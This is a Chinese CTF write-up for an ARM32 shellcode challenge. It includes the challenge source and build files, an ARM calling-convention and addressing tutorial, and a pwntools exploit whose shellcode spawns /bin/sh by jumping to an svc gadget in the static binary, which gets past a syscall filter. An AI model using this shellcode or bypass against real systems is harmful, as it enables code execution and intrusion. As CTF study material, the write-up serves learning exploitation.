首页 > 系统相关 >arm32_shellcode

arm32_shellcode

时间:2023-10-08 19:14:32浏览次数:50  
标签:R1 R2 libc arm32 mov base 寄存器 shellcode

arm32_shellcode

题目文件

image-20231008181229234

build.sh

#!/bin/bash
arm-linux-gnueabi-gcc -g -static -Iinclude -o chal chal.c libcapstone.a

chal.c

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <ctype.h>

#include <capstone/capstone.h>


#define die(x) do { puts(x); exit(-1); } while (0)


#define SHELLCODE_ADDR 0xdead0000
#define SHELLCODE_MAX_SIZE 0x100
#define INPUT_SIZE SHELLCODE_MAX_SIZE*2

size_t parsehex(char *src, char *dest) {
    size_t len = strlen(src);
    if (src[len-1] == '\n') {
        src[len-1] = '\0';
        len--;
    }
    if (len % 2 == 1)
        die("*** Bad hex (odd length) ***");
    size_t final_len = len / 2;
    for (size_t i=0, j=0; j<final_len; i+=2, j++) {
        if (!(isxdigit(src[i]) && isxdigit(src[i+1])))
            die("*** Bad hex (invalid char) ***");
        dest[j] = (src[i] % 32 + 9) % 25 * 16 + (src[i+1] % 32 + 9) % 25;
    }

    return final_len;
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    
    printf("Welcome to shell code as a shell\n");
    printf("Enter your shellcode (in hex please) up to %d chars\n", INPUT_SIZE);
    char input[INPUT_SIZE+1];
    void *shellcode;
    shellcode = mmap(SHELLCODE_ADDR, SHELLCODE_MAX_SIZE, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    fgets(input, sizeof(input), stdin);
    
    size_t sz = parsehex(input, shellcode);
    if (sz < 4)
        die("Not enough bytes for an instruction!");

    csh handle;
    cs_insn *insn;

    if (cs_open(CS_ARCH_ARM, CS_MODE_ARM, &handle) != CS_ERR_OK)
        exit(-1);
    if (cs_option(handle, CS_OPT_DETAIL, CS_OPT_ON) != CS_ERR_OK)
        exit(-1);

    size_t count = cs_disasm(handle, shellcode, sz, SHELLCODE_ADDR, 0, &insn);
    if (count < 0) {
        cs_close(&handle);
        die("*** Failed to disassemble shellcode! ***");
    }

    printf("*** Read %d instructions ***\n", count);

    uint64_t end_pos = SHELLCODE_ADDR;
    for (size_t i = 0; i < count; ++i) {
        printf("0x%" PRIx64 ":\t%s\t\t%s\n", insn[i].address, insn[i].mnemonic,
            insn[i].op_str);

        // Check for syscalls
        cs_detail *detail = insn[i].detail;
        if (detail->groups_count > 0) {
        for (int n = 0; n < detail->groups_count; n++)
            if (detail->groups[n] == ARM_GRP_INT) {
                die("*** No syscalls for you! ***");
            }
        }
        end_pos += insn[i].size;
    }
    cs_free(insn, count);
    cs_close(&handle);

    if (count != sz / 4) {
        die("*** Incorect number of disassembled instructions. Make sure instructions are correct. ***");
    }
    
    // Setup environment and run
    puts("*** Shellcode looks good, let's roll! ***");

    mprotect(shellcode, SHELLCODE_ADDR, PROT_READ | PROT_EXEC);

    // Clear registers
    asm("mov r0, #0\n"
        "mov r1, #0\n"
        "mov r2, #0\n"
        "mov r3, #0\n"
        "mov r4, #0\n"
        "mov r5, #0\n"
        "mov r6, #0\n"
        "mov r7, #0\n"
        "mov r8, #0\n"
        "mov r9, #0\n"
        "mov r10, #0\n");
    void (*code)() = shellcode;
    code();
}

Dockerfile

FROM ubuntu:22.04@sha256:aabed3296a3d45cede1dc866a24476c4d7e093aa806263c27ddaadbdce3c1054 as build

RUN apt update && apt upgrade -y
RUN apt install git gcc-arm-linux-gnueabi qemu-user gdb-multiarch make wget -y

WORKDIR /build
COPY make-capstone.sh /build
RUN wget --no-verbose -O "capstone-5.0.tar.gz" "https://github.com/capstone-engine/capstone/archive/refs/tags/5.0.tar.gz"

RUN ./make-capstone.sh
COPY chal.c build.sh /build/
RUN ./build.sh


FROM ubuntu:22.04@sha256:aabed3296a3d45cede1dc866a24476c4d7e093aa806263c27ddaadbdce3c1054 as prod_build

RUN apt update && apt upgrade -y
RUN apt install qemu-user -y

WORKDIR /app
COPY --from=build /build/chal .
COPY flag.txt ./
# Jail entrypoint
COPY run.sh run


FROM pwn.red/jail@sha256:ee52ad5fd6cfed7fd8ea30b09792a6656045dd015f9bef4edbbfa2c6e672c28c as prod

COPY --from=prod_build / /srv

make-capstone.sh

#!/bin/sh

set -e
set -x 

CAPSTONE_DIR="capstone-5.0"
CAPSTONE_SRC=$CAPSTONE_DIR.tar.gz

rm -rf $CAPSTONE_DIR
export CC=arm-linux-gnueabi-gcc
export AR=arm-linux-gnueabi-ar
export RANLIB=arm-linux-gnueabi-ranlib

tar -xf $CAPSTONE_SRC
cd $CAPSTONE_DIR
./make.sh

cp libcapstone.so.5 ../libcapstone.so
cp libcapstone.a ../libcapstone.a
cp -r include ../

run.sh

#!/bin/sh

qemu-arm ./chal

保护:

image-20231008185018168

题目文件给的很全,如何编译写在了build里,需要什么libc库也有make-capstone.sh,还是静态链接的arm32程序,当然run.sh得我们自己改下。

其中Dockerfile才是最应该注意的(),主要是Ubuntu22.04下的编译结果和20.04差很多,特别是在静态链接的函数偏移方面,我们尽量还是用题目的U22环境进行编译和调试,不然就会像我一样用U20编译出来的错误偏移程序嗯造远程造不出来。

arm题启动脚本:

tools.sh

#!/bin/sh
program_name='qemu-arm'#用于找到仍然在运行的进程,qemu-arm启动的就找qemu-arm,qemu-aarch64启动的就找qemu-aarch64

pids=$(pgrep $program_name)

echo $pids

sudo kill -9 $pids

tmux splitw -h ./GT.sh

python3 expemm.py

GT.sh

gdb-multiarch ./chal    \
    -ex 'target remote localhost:1234'  \
    -ex 'b*0x107c0' \
    -ex 'b*0x10a94' \

同时,我在编译调试过程中发现了一个问题,那就是qemu起的arm程序进gdb,我每次gdb进到shellcode开始执行都会直接崩溃,经过各种原因排查,最后发现是我的qemu版本过高导致的,我编译安装qemu了好几个版本,最后测试下来,8.1不行,7.2不行,6.2(u22 apt默认装的版本)和4.2(u20 apt默认装的版本)可以。

同时在普通用户下进入gdb,在gdb里vmmap时能正常显示arm32程序的内存地址布局,而如果是root下进入则无法正常vmmap

image-20231008183542579

image-20231008183625740

分析和exp

arm架构规则

寄存器规则

  1. 子程序间通过寄存器R0~R3传递参数。这时,寄存器R0~R3可记作arg0~arg3。被调用的子程序在返回前无需恢复寄存器R0~R3的内容,R0被用来存储函数调用的返回值
  2. 在子程序中,使用寄存器R4~R11保存局部变量。这时,寄存器R4~R11可以记作var1~var8。如果在子程序中使用了寄存器v1~v8中的某些寄存器,则子程序进入时必须保存这些寄存器的值,在返回前必须恢复这些寄存器的值R7经常被用作存储系统调用号,R11存放着帮助我们找到栈帧边界的指针,记作FP。在Thumb程序中,通常只能使用寄存器R4~R7来保存局部变量。
  3. 寄存器R12用作过程调用中间临时寄存器,记作IP。在子程序之间的连接代码段中常常有这种使用规则。
  4. 寄存器R13用作堆栈指针,记作SP。在子程序中寄存器R13不能用作其他用途。寄存器SP在进入子程序时的值和退出子程序时的值必须相等
  5. 寄存器R14称为连接寄存器,记作LR。它用于保存子程序的返回地址。如果在子程序中保存了返回地址,寄存器R14则可以用作其他用途。
  6. 寄存器R15程序计数器,记作PC。它不能用作其它用途。当执行一个分支指令时,PC存储目的地址。在程序执行中,ARM模式下的PC存储着当前指令加8(两条ARM指令后)的位置,Thumb(v1)模式下的PC存储着当前指令加4(两条Thumb指令后)的位置

给出ARM架构寄存器与Intel架构寄存器的关系:

ARM架构 寄存器名 寄存器描述 Intel架构 寄存器名
R0 通用寄存器 EAX
R1~R5 通用寄存器 EBX、ECX、EDX、EDI、ESI
R6~R10 通用寄存器
R11(FP) 栈帧指针 EBP
R12(IP) 内部程序调用
R13(SP) 堆栈指针 ESP
R14(LP) 链接寄存器
R15(PC) 程序计数器 EIP
CPSR 程序状态寄存器 EFLAGS

堆栈(Stack)规则

  1. ATPCS规定堆栈为FD类型,即Full Descending,意思是 SP指向最后一个压入的值(栈顶),数据栈由高地址向低地址生长,即满递减堆栈,并且对堆栈的操作是8字节对齐。所以经常使用的指令就有STMFD和LDMFD

传参规则

  1. 对于参数个数可变的子程序,当参数个数不超过4个时,可以使用寄存器R0~R3来传递参数;当参数超过4个时,还可以使用堆栈来传递参数。
  2. 在传递参数时,将所有参数看作是存放在连续的内存字单元的字数据。然后,依次将各字数据传递到寄存器R0,R1,R2和R3中。如果参数多于4个,则将剩余的字数据传递到堆栈中。入栈的顺序与参数传递顺序相反,即最后一个字数据先入栈。

返回值规则

  1. 结果为一个32位整数时,可以通过寄存器R0返回
  2. 结果为一个64位整数时,可以通过寄存器R0和R1返回
  3. 结果为一个浮点数时,可以通过浮点运算部件的寄存器f0、d0或s0来返回
  4. 结果为复合型浮点数(如复数)时,可以通过寄存器f0~fn或d0~dn来返回
  5. 对于位数更多的结果,需要通过内存来传递。

访址规则

  1. 通常,LDR指令被用来从内存中加载数据到寄存器,STR指令被用作将寄存器的值存放到内存中。

    @ LDR操作:从R0指向的地址中取值放到R2中
    LDR R2, [R0]   @ [R0] - 数据源地址来自于R0指向的内存地址
    @ STR操作:将R2中的值放到R1指向的地址中
    STR R2, [R1]   @ [R1] - 目的地址来自于R1在内存中指向的地址
    

    那么我们给出示例代码和解释:

    .data          /* 数据段是在内存中动态创建的,所以它的在内存中的地址不可预测*/
    var1: .word 3  /* 内存中的第一个变量且赋值为3 */
    var2: .word 4  /* 内存中的第二个变量且赋值为4 */
    
    .text          /* 代码段开始 */ 
    .global _start
    
    _start:
        ldr r0, adr_var1  @ 将存放var1值的地址adr_var1加载到寄存器R0中 
        ldr r1, adr_var2  @ 将存放var2值的地址adr_var2加载到寄存器R1中 
        ldr r2, [r0]      @ 将R0所指向地址中存放的0x3加载到寄存器R2中  
        str r2, [r1]      @ 将R2中的值0x3存放到R1做指向的地址,此时,var2变量的值是0x3
        bkpt        
    
    adr_var1: .word var1  /* var1的地址助记符 */
    adr_var2: .word var2  /* var2的地址助记符 */
    

    接下来我们对这段代码进行反编译,结果如下:

    ldr  r0, [ pc, #12 ]   ; 0x8088 <adr_var1>
    ldr  r1, [ pc, #12 ]   ; 0x808c <adr_var2>
    ldr  r2, [r0]
    str  r2, [r1]
    bx   lr
    

    此处,[PC,#12]的意义是PC + 4*3,可以看出,程序使用了偏移寻址的思路,但是,根据我们所写的汇编码:

    _start:
        ldr  r0, [ pc, #12 ]   ; <- PC
        ldr  r1, [ pc, #12 ]   
        ldr  r2, [r0]
        str  r2, [r1]
        bx   lr       
    
    adr_var1: .word var1  
    adr_var2: .word var2
    

    我们若想获取var_1,应该为PC + 4 * 5才对,但是我们之前提过的,在程序执行中,ARM模式下的PC存储着当前指令加8(两条ARM指令后)的位置,也就是说,此时程序中的状况应该如下表所示:

    _start:
        ldr  r0, [ pc, #12 ]
        ldr  r1, [ pc, #12 ]   
        ldr  r2, [r0]          ; <- PC
        str  r2, [r1]
        bx   lr       
    
    adr_var1: .word var1  
    adr_var2: .word var2
    

    这种形如[Ri , num]的方式被称为立即数作偏移寻址

    str r2, [r1, #2]  @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加2所指向地址处。
    str r2, [r1, #4]! @ 取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加4所指向地址处,之后R1寄存器中存储的值加4,也就是R1=R1+4。
    ldr r3, [r1], #4  @ 取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中存储的值加4,也就是R1=R1+4。
    
  2. 形如

    [Ri , Rj]
    

    的方式被称为

    寄存器作偏移寻址

    str r2, [r1, r2]  @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处。R1寄存器不会被修改。 
    str r2, [r1, r2]! @ 取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处,之后R1寄存器中的值被更新,也就是R1=R1+R2。
    ldr r3, [r1], r2  @ 取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中的值被更新也就是R1=R1+R2。
    
  3. 形如

    [Ri , Rj , <shifter>]
    

    的方式被称为

    寄存器缩放值作偏移寻址

    str r2, [r1, r2, LSL#2]  @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处。R1寄存器不会被修改。
    str r2, [r1, r2, LSL#2]! @ 取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处,之后R1寄存器中的值被更新,也就R1 = R1 + R2<<2。
    ldr r3, [r1], r2, LSL#2  @ 取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中的值被更新也就是R1 = R1 + R2<<2。
    

分析

有给源码,不难看出来是arm32shellcode,其中parsehex是用来分割输入的十六进制字节码的,一般把要送的字节码.hex()就行。不能送'\x00',同时禁止了SVC0(arm32的syscall)字节码的出现,输入shellcode后会把执行段设为可读可执行不可写,阻碍了我们用read进行绕过。但是这题是静态链接,而且没开PIE,我们直接利用静态链接函数库里的svc0即可,用ldr pc或者blx 寄存器进行跳转到svc0即可

exp:

#!/usr/bin/python3
#coding=utf-8
'''
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    需要无debug,就把-t删了,需要从main开始附近下断点加-p,显示详情加-v


    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwn import *
from pickletools import stackslice
import time
from shutil import move
from pwncli import *
#from mcrypt import * # 这个模块是自己用的,作用就是进行base64换表

pwn_mode=0

if pwn_mode==0 :
    context(os = 'linux', terminal = ['tmux', 'splitw', '-h'])
    #context.terminal = ['tmux','splitw','-h']
    context.arch='arm'

    local=0
    exec_file="./chal"
    #context.binary = exec_file
    context.log_level='debug'



    elf=ELF(exec_file)

    if local :
        p = process(exec_file)
        # if context.arch == "i386" :
        #     libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
        # elif context.arch == "amd64" :
        #     libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False) 
    else:
        p = remote("127.0.0.1",10002)
        #p=remote('chall.pwnoh.io', 13375)

    libc_path='/lib/x86_64-linux-gnu/libc.so.6'
    libc=ELF(libc_path, checksec = False)


    

    def get_base(a, text_name=exec_file[0-exec_file[::-1].find('/'):],libc_name=libc_path[0-libc_path[::-1].find('/'):]):
        text_addr = 0
        libc_base = 0
        for name, addr in a.libs().items():
            if text_name in name[0-name[::-1].find('/'):]:
                text_addr = addr
            elif "libc-" in name or "libc." in name or libc_name in name:
                libc_base = addr 
        return text_addr, libc_base
    def debug(stop=0):
        if local == 1 and pwn_mode==0:
            text_base, libc_base = get_base(p)
            script = '''
            set $text_base = {}
            set $libc_base = {}
            

            
            
            '''.format(hex(text_base), hex(libc_base))
            #LOGTOOL['address']=0x4060+text_base
            LOGALL()
            #b mprotect
            #b *($text_base+0x0000000000000000F84)
            #b *($text_base+0x000000000000134C)
            # b *($text_base+0x0000000000000000001126)
            #dprintf *($text_base+0x04441),"%c",$ax
            #dprintf *($text_base+0x04441),"%c",$ax
            #0x12D5
            #0x04441
            #b *($text_base+0x0000000000001671)
            gdb.attach(p, script)
            if stop:
                pause()
    #b *$rebase(0x001CEB)
    def fuck(address):
        n = globals()
        for key, value in n.items():
            if value == address:
                success(key + "  ==>  " + hex(address))
                return


    def ROL(content, key):
        tmp = bin(content)[2:].rjust(64, '0')
        return int(tmp[key:] + tmp[:key], 2)
    
else:
    cli_script()
    p: tube = gift.io
    elf: ELF = gift.elf
    libc: ELF = gift.libc

    filename  = gift.filename # current filename
    is_debug  = gift.debug # is debug or not 
    is_remote = gift.remote # is remote or not
    gdb_pid   = gift.gdb_pid # gdb pid if debug
    if gift.remote:
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
        gift['libc'] = libc
        #set_remote_libc()
    CurrentGadgets.set_find_area(1,0)
    #execute_cmd_in_current_gdb('b *0x401401')
    #set_current_pie_breakpoints(0x401401)
    #recv_current_libc_addr(libc.sym.free,5)
    #kill_current_gdb()
    #set_current_libc_base(leak,offset)
    #set_current_libc_base_and_log(leak,offset)
    #set_current_code_base()
    #set_current_code_base_and_log()
    #tele_current_pie_content()

s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
rn = lambda x : p.recvn(x)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim,b=False: p.recvuntil(delim,drop=b)
rut = lambda delim,time=0.1: p.recvuntil(delim,timeout=time)
rl = lambda a=False: p.recvline(a)
rls = lambda n=2**20: p.recvlines(n)
it      = lambda                    :p.interactive()
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
i2b = lambda c : str(c).encode()
uu32    = lambda data   :u32(data.ljust(4, b'\x00'))
uu64    = lambda data   :u64(data.ljust(8, b'\x00'))
bp      = lambda bkp                :gdb.attach(p,'b *'+bkp)



LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-25s%s"%(i[0]+":",hex(i[1])))

# shellcode=asm('''
#         movw r7, #0x41410068 & 0xffff
#         movt r7, #0x41410068 >> 16
#         push {r7}
#         movw r7, #0x732f2f2f & 0xffff
#         movt r7, #0x732f2f2f >> 16
#         push {r7}
#         movw r7, #0x6e69622f & 0xffff
#         movt r7, #0x6e69622f >> 16
#         push {r7}
#         mov r0, sp
#         movw r7, #0x6873
#         push {r7}
#         eor r12, r12
#         push {r12}
#         mov r1, #4
#         add r1, sp
#         mov r12, r1
#         push {r12}
#         mov r1, sp
#         eor r2, r2
#         mov r7, #0xb
#         ldr pc,=0x0011d788
# ''')
shellcode1='''
movw r5,0x732f
movt r5,0x68
push {r5}
movw r5,0x622f
movt r5,0x6e69
push {r5}
mov r0,sp
mov r7,#0xb
movw r4,0xd788
movt r4,0x11
blx r4

'''


shellcode2=asm(shellcode1,arch='arm',bits=32)
print('aaaaaaaaaaaaaa'+disasm(shellcode2))
aaa=b'/bin/sh'
for i in aaa:
    print(hex(0x100+i)[-2:].encode()+b'\n')
shellcode3=b''
for i in shellcode2:
    shellcode3+=hex(0x100+i)[-2:].encode()
sl(shellcode2.hex())


# add R0,R0,#0x100
# mov r7,#0xb
# mov r6,#0x68
# STR R6, [R3, #0x100]
# mov r6,#0x73
# STR R6, [R3, #0x101]
# mov r6,#0x2f
# STR R6, [R3, #0x102]
# mov r6,#0x6e
# STR R6, [R3, #0x103]
# mov r6,#0x69
# STR R6, [R3, #0x104]
# mov r6,#0x62
# STR R6, [R3, #0x105]
# mov r6,#0x2f
# STR R6, [R3, #0x106]
# mov r5,#0xae
# EOR r5,r5,#0x41
# STR R5, [R3, #0x50]


# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# gift['libc'] = libc
# print(gift.libc)
# pd = flat(
# {
#     0:[
#         #[CurrentGadgets.ret()]*0x20,
#         [p64(0xdead)]*0x50,
#         p64(0x114514)
#         ]
# },filler='\x00'
# )
# s(pd)


# def new_func():
#     s(0x50*b'a')
# while True:
#     try:
#         new_func()
#     except (EOFError):
#         gift.io = copy_current_io()
it()

标签:R1,R2,libc,arm32,mov,base,寄存器,shellcode
From: https://www.cnblogs.com/brain-Z/p/17749899.html

相关文章

  • 1.14 手工插入ShellCode反弹
    PE格式是Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等,本次的目标是手工修改或增加节区,并给特定可执行......
  • 1.14 手工插入ShellCode反弹
    PE格式是Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等,本次的目标是手工修改或增加节区,并给特定可执......
  • GraalVM 打包 Java ShellcodeLoader 为可执行文件
    GraalVM打包JavaShellcodeLoader为可执行文件url:https://app.yinxiang.com/fx/a6667249-7c5e-40dd-8bf6-e474fc844163title:GraalVM打包JavaShellcodeLoader为可执行文件date:2023-03-0212:37:26打包成Jar包先上项目地址:https://github.com/yzddmr6/Java-Sh......
  • zImage的位置对于ARM32内核解压的影响
      ARM32内核解压流程简单总结了解压流程,这里给出zImage加载位置和Image解压位置的不同组合下,zImage,Image和可能存在的重定位zImage在内存上的位置分布。  因为解压过程中的判断是根据zImage和解压后Image的相对位置来进行不同处理,在以下的分析中,可以认为Image位置是固定的,但......
  • 1.5 编写自定位ShellCode弹窗
    在笔者上一篇文章中简单的介绍了如何运用汇编语言编写一段弹窗代码,虽然简易ShellCode可以被正常执行,但却存在很多问题,由于采用了硬编址的方式来调用相应API函数的,那么就会存在一个很大的缺陷,如果操作系统的版本不统或系统重启过,那么基址将会发生变化,此时如果再次调用基址参数则会......
  • 1.6 编写双管道ShellCode
    本文将介绍如何将CMD绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的ShellCode后门,并以此提高代码通用性。......
  • ASCII码-shellcode的技巧
    网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧https://github.com/TaQini/alpha3https://github.com/veritas501/ae64.githttps://github.com/rcx/shellcode_encoder结合题目来看吧,没有开启NX保护,基本这类型题目九成九都是shellcode题程序一开始会让我们在bss段上......
  • x64ShellCode-通过PEB获取模块地址.
    以x64dbg.exe调试x64dbg.exe为例.汇编代码为如下.movrax,qwordptrgs:[0x0000000000000060]movrax,qwordptrds:[rax+0x10]二进制硬编码如下"\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x48\x8B\x40\x10\x90\x90"结果如下:......
  • ret2shellcode
    ret2shellcode介绍shellcode的意思其实就是能获取到shell的code,以前还疑惑为什么要交shellcode。解题1、先查看附件信息使用checksecret2shellcode可以查看到ret2shellcode的信息;发现是32位的小端序,某个段有着可读可写可执行的权限。Arch:i386-32-littleREL......
  • windows下shellcode注入的例子(WriteProcessMemory+CreateRemoteThread)
    vs里x64编译如下代码:  #include<iostream>#include<Windows.h>//#include"common.h"intmain(){ //msfvenom-pwindows/x64/execCMD=notepad.exe-fc unsignedcharshellcode[]= "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x0......